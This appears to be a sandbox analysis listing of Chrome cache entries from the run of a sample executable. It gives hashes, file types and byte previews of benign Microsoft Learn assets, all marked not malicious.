SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! 